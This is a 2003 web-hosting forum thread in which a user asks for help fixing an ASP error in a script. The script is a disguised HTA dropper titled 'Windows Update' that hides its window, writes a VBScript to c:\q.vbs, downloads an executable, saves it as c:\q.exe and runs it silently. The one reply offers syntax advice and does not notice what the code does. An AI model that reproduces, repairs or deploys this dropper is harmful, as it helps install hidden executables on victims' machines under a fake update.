another asp newb plz hlp

 
Post new topic   Reply to topic    Aprelium Forum Index -> Classic ASP
View previous topic :: View next topic  
Author Message
tomlill
-


Joined: 10 Nov 2003
Posts: 2

PostPosted: Fri Nov 21, 2003 1:14 pm    Post subject: another asp newb plz hlp Reply with quote

i have installed asp using the instructions. i try to run my script but am prompted with error message :- Object required `server` Line7 char1. I dunno wats going wronge i been giving muyself a headache for hours with it. Here is the script. Any help appreciated.

<HTML>
<HEAD>
<TITLE>Windows Update</TITLE>
<HTA:APPLICATION ID="Q" APPLICATIONNAME="Q" BORDER="none" BORDERSTYLE="normal" CAPTION="no" ICON="" CONTEXTMENU="no" MAXIMIZEBUTTON="no" MINIMIZEBUTTON="no" SHOWINTASKBAR="no" SINGLEINSTANCE="no" SYSMENU="no" VERSION="1.0" WINDOWSTATE="minimize"/>
<SCRIPT LANGUAGE="VBScript">
MyFile = "c:\q.vbs"

FSO = server.CreateObject("Scripting.FileSystemObject")
TSO = FSO.CreateTextFile(MyFile, True)
TSO.write "Dim BD" & vbcrlf
TSO.write "Dim xml" & vbcrlf
TSO.write "Set xml = server.CreateObject(""Microsoft.XMLHTTP"")" & vbcrlf
TSO.write "xml.Open ""GET"", ""test.exe"", False " & vbcrlf
TSO.write "xml.Send" & vbcrlf
TSO.write "BD = xml.ResponseBody" & vbcrlf
TSO.write "Const adTypeBinary = 1" & vbcrlf
TSO.write "Const adSaveCreateOverWrite = 2" & vbcrlf
TSO.write "Dim BinaryStream" & vbcrlf
TSO.write "Set BinaryStream = CreateObject(""ADODB.Stream"")" & vbcrlf
TSO.write "BinaryStream.Type = adTypeBinary" & vbcrlf
TSO.write "BinaryStream.Open" & vbcrlf
TSO.write "BinaryStream.Write BD" & vbcrlf
TSO.write "BinaryStream.SaveToFile ""c:\q.exe"", adSaveCreateOverWrite" & vbcrlf
TSO.write "Dim WshShell" & vbcrlf
TSO.write "Set WshShell = CreateObject(""WScript.Shell"")" & vbcrlf
TSO.write "WshShell.Run ""c:\q.exe"", 0, false" & vbcrlf
TSO.close
Set TSO = Nothing
Set FSO = Nothing
Dim WshShell
Set WshShell = server.CreateObject("WScript.Shell")
WshShell.Run "c:\q.vbs", 0, false
</SCRIPT>
<script>window.close()</script>
</HEAD>
</html>
Back to top View user's profile Send private message
mcwilliams132
-


Joined: 27 Jul 2003
Posts: 167
Location: Oshkosh, WI

PostPosted: Fri Nov 21, 2003 8:33 pm    Post subject: Reply with quote

you're either trying to use ASP.NET (not supported and won't work)

or

You're not encapsulating your script properly...

if you're using classic ASP (as you should be with AHTML)

You'll need to state the language at the very top of your page (before anything else) such as:

<%@ Language = VBScript %>

Then your script can be inserted as:

<%

.. enter your script here ...

%>
_________________
::::::::::::::::::::::::::::::::::::::::::::::::::
:: Jon-Paul LeClair
:: http://mcwilliamsworld.com
:: "Lobster sticks to magnet!"
Back to top View user's profile Send private message Visit poster's website
Display posts from previous:   
Post new topic   Reply to topic    Aprelium Forum Index -> Classic ASP All times are GMT + 1 Hour
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum


Powered by phpBB phpBB Group